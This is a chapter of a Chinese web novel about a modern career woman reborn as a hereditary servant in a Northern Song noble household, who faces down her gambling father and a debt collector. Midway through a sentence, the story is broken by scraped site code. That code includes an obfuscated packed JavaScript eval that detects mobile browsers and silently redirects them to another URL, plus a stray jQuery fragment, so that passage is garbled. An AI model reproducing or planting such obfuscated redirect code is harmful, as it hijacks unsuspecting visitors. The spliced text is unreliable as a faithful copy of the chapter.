2. 第 2 章

作品:《北宋家生子

    这个又字实在灵性。


    季山楹微微低着头,因为个子比孟阿水略矮一点,让人看不清她面上表情。


    然窥见她颤抖的手指,大约能猜出几分恐惧。


    孟阿水有点心疼,她低声说:“我攒了些银钱,回头拿与你。”


    季山楹垂眸敛眉,轻轻摇了摇头。


    “不用,”她的声音出奇平静,“你等一下,我同朱阿娘说一声。”


    方才的颤抖根本不是因为恐惧,而是因为愤怒。


    这个废物一样的狗屎老爹,季山楹每次想起来,都想把对方打的满地找牙。


    孟阿水拍了拍她的肩膀,温言道:“去吧,我等你。”


    还不到晚食时分,这会儿小厨房不忙,季山楹很轻松就请到了一个时辰的假,跟孟阿水往后排房走去。


    路上,季山楹问:“他自己回来的?”


    孟阿水说:“哪能啊?人家跟了打手来,他正跟你阿娘闹呢。”


    季山楹颔首,真心实意说:“我知道了,阿水姐,谢谢你。”


    或许是因为见得多了,也可能缓过了最初的震惊,这会的季山楹看不出任何惊慌,鹅蛋脸严肃绷着,显露出几分超越年龄的成熟稳重。


    对于她的这种细微变化,孟阿水并不觉得怪异。


    毕竟,谁摊上那一家子人,都不可能天真无邪。


    不过季福姐的变化,却是因为别的。


    她是穿越过来的,本名季山楹。


    她在现代是个无父无母的孤儿,靠好心人资助考上大学,毕业后摸爬滚打,加最多的班,干最难的活,拼尽全力博得高位,不到三十就担任上市公司的营销总监。


    在加班猝死之前,她刚被升为副总裁。


    就差一天,就要搬到顶楼工作了。


    金融大厦一百二十层顶端,俯瞰整个繁华都市,通透的落地窗盛满阳光,那是季山楹一直为之奋斗的顶点。


    忽然倒下的时候,是寂静无人的深夜,心脏一阵抽痛,孤独和遗憾排山倒海涌来,她以为自己再也见不到明媚阳光了。


    然而再次有意识的时候,却被阳光蜇了眼。


    耳边是女子悲切的哭声。


    “福姐,福姐,你走了阿娘可怎么办?”


    季山楹只缓了半日,就接受了自己魂穿回北宋的事实。


    好消息,她穿到了钟鸣鼎食的归宁侯府。


    坏消息,他们一家只是归宁侯府的家生子。


    从现代牛马变成了出生就带卖身契的家生子,季山楹都要气笑了。


    不过,季山楹从来不贪婪。


    能多活一辈子,权当她赚了。


    她上辈子干过的工作很繁杂,从营销策划助理做起,后来当过总经理行政秘书,行政特助,最终年纪轻轻成为营销总监。


    论说看人能力和工作能力,她自认是一等一的。


    清醒当天晚上,她就已经摸清了自身环境和家中人口。


    父亲季大杉是家中的后门门房,多数时候守别人嫌弃的夜值。


    母亲许盼娘是大厨房的厨娘,所会菜色五花八门,精通多种烹饪手艺,堪称归宁侯府的一把勺。


    阿兄叫季荣祥,今年十七,是府上普普通通的长工,只做杂役活计。


    这么一家人,若是好好努力,日子也能过好。


    可是……


    季山楹思绪被嘈杂声打断,她抬起头,冷冷向前看去。


    只见一个头发凌乱,满脸胡茬的佝偻男人在拉扯一名单薄瘦弱的妇人,那妇人面色苍白,脸颊凹陷,显然久病不愈。


    “娘子,娘子,你就行行好,我知你还有药钱。”


    “就一两,他们要我的手指啊!”


    男子眼睛中满是红血丝,看起来面目狰狞,尤其可怖。


    妇人被他拉扯得东倒西歪,已经有些支撑不住,膝盖一软,就跪倒在地呜呜咽咽哭了起来。


    “我不知道,不知道,福姐说不能给你,不能给你。”


    男人都急了,他瞪大眼睛,厉声呵斥:“你这憨婆忒是不懂规矩,家中自然以夫为天,哪里有个贼丫头当家做主的。”


    他们这边闹得动静太大,孟阿水的爹站在边上,脸色极是难看。


    “大杉,休要吵嚷,若是让洛管家知晓,你们一家都留不住了。”


    季大杉就是个吃喝嫖赌的无赖,他天不怕地不怕,唯独惧怕侯府把他们都赶出去,闻言就像是被掐住脖子的鸡,只瞪大眼睛粗喘气。


    待及此时,一直站在屋檐下的少年郎倒是出声了:“哎呦呦,侯府势大,咱们小门小户不好得罪,可这欠了钱,总是要还的。”


    季山楹眯着眼睛看过去,见那少年不过十五六岁的年纪,寒冬腊月里只穿了一身单薄的夹袄,生了一张国字脸,竟硬生生有几分眉清目秀。


    季大杉跟个鹌鹑似的,不敢同赌场的打手硬抗,倒是她娘嘤嘤悲哭。


    “可怎么办,怎么办?五十两啊!我的命怎么就这么苦啊。”


    她不啼哭还好,这一哭,季大杉的火气就蹭蹭往上涨。


    打不过打手,还欺负不了一个妇人?


    季大杉几乎毫不犹豫,抡起手就要落下。


    那万事无用的巴掌,现在却成了遮天蔽日的阴影,笼罩在许盼娘头上。


    “憨婆娘,闭嘴!”季大杉脸上只有狠毒。


    许盼娘吓得整个人都呆住了,都不知道要躲。


    阿水爹正要上前,就听一道细嫩的嗓音在身后响起。


    “闹什么?”


    季山楹面容淡然,她甚至闲庭信步,从后门处慢慢走来。


    阳光稀稀落落,一丝光阴落在她杏圆眼中,一晃神,好似宝石璀璨人间。


    她没有惊恐,没有害怕,甚至没有恼怒。


    那张稚嫩白净的鹅蛋脸面无表情,平静无波。


    季大杉有一点点心虚。


    他不知道怎么了,一直不敢面对这个大难不死的女儿,被她三个字就击退了愤怒,讪讪放下手。


    “福姐你怎么来了?观澜苑差事要紧啊,可莫要耽误了正事。”


    季山楹不理他,走到母亲身边,弯腰把她扶了起来。


    “我再不来,你小手指就没了。”


    季大杉一噎,顿时不敢吭声。


    许盼娘乍然见到女儿,委屈爆发,她靠在女儿稚嫩的肩膀上,闭眼就要哭:“福姐……”


    “安静。”


    季山楹淡淡丢下两个字,把母亲没完没了的啼哭击退。


    处理完这一对没用爹娘,她抬眸对阿水爹颔首:“孟阿伯,今日多谢您。”


    说罢,她才最后看向那名少年。


    那少年一直没出声,满脸兴味看着她,似乎觉得这一家子很有趣。


    季山楹非常客气。


    “你好,请问您贵姓?”


    少年挑眉:“免贵姓李。”


    季山楹点头,她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062087|195066||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    忽然笑了一下。


    她杏眼弯弯,脸颊一湾梨涡,看起来清纯可爱。


    “李阿哥,”她声音很甜,“可否看一下我阿爹的欠条?”


    李姓少年挑了挑眉,还是从袖中掏出一张纸,递给了她。


    纸张平整,是最普通的熟宣。


    季山楹仔细看。


    这欠条写得倒是简单,只说季大杉欠了一个叫王发财的五十两,限期一个月归还,落款是季大杉的手印。


    没说利息,也没说未还款的责罚,显得很随意。


    季山楹知道,北宋是严厉禁止百姓关扑的,汴京乃是皇都,管理最严。


    一年到头,只有各大节庆才允许关扑,平日是根本寻不着的。


    季大杉想要赌博,肯定只能找小黑赌坊,做这门生意的人,要么有背景靠山,要么就都是亡命之徒。


    不过,无论哪种,都不会把赌债两个字摆在明面上,也都是他们小门小户惹得起的。


    所以欠条才写得简单,不敢说那么多废话,这个实际上的债主王发财,可能也只是东家手底下的管事,不是正主。


    她点点头,倒是没有作妖,直接把欠条还给了少年。


    “李阿哥,我看上面写限期一个月,怎么劳烦您今日就过来了?”


    季山楹做事非常干脆,冤有头,债有主,这少年不过也是打工人,同为牛马,没什么好怨怼的。


    只要事情能解决就行,你好我好大家好。


    李姓少年眼睛滴溜一转,他笑嘻嘻说:“我得认认门,再说,季阿叔还欠了咱们一两银子酒钱,我特地上门来结账,省得你们多跑一趟。”


    季山楹眨了一下眼睛。


    这才明白方才季大杉逼迫许盼娘要药钱,就是为了这一两银子。


    她思忖道:“也就是说,一根小手指值一两银子?”


    这话一出口,季大杉面色一变,就连阿水爹都诧异向她看来。


    “福姐!你!”


    季大杉气急败坏。


    季山楹没看他,她推着母亲自己站好,一步步走到少年郎面前。


    走近了,她才发现对方比她高半个头,身形看起来消瘦,但手指骨节分明,一看就是练家子。


    惹不起也打不过。


    季山楹有了决断,她手指一动,一串铜钱就出现在了手中。


    不多不少,刚好二十枚。


    放在手心里沉甸甸的。


    她直截了当塞进了少年人手中,声音客套而热络:“李阿哥,我知道你们当差规矩,这一两银子一月后一起给也是使得的,家中情景你也瞧见,不如宽限几日,等一月之后,多孝敬您一两银子的茶汤钱。”


    她这是承诺,宽限一个月,多给他一两跑腿费。


    李姓少年掂了掂手里的铜钱串子,笑出声。


    “小丫头,你倒是挺大方。”


    季山楹满脸都是愁苦:“家中如此,我也没得办法。”


    少年手指一动,铜钱串子在空中荡起流光:“行,我给你方便,你也别忘了承诺的事。”


    说罢,少年转身就要离开。


    熟料季山楹却喊住了他。


    她的声音清润,有着少女独有的稚嫩,却也吐字清晰,一字一顿砸在心头。


    “李阿哥,若是这五十一两还不上,会要我阿爹几根指头?”


    她抬起眼眸,乌黑的瞳仁里只有一片肃杀冷意。


    “或者,要他一条命?”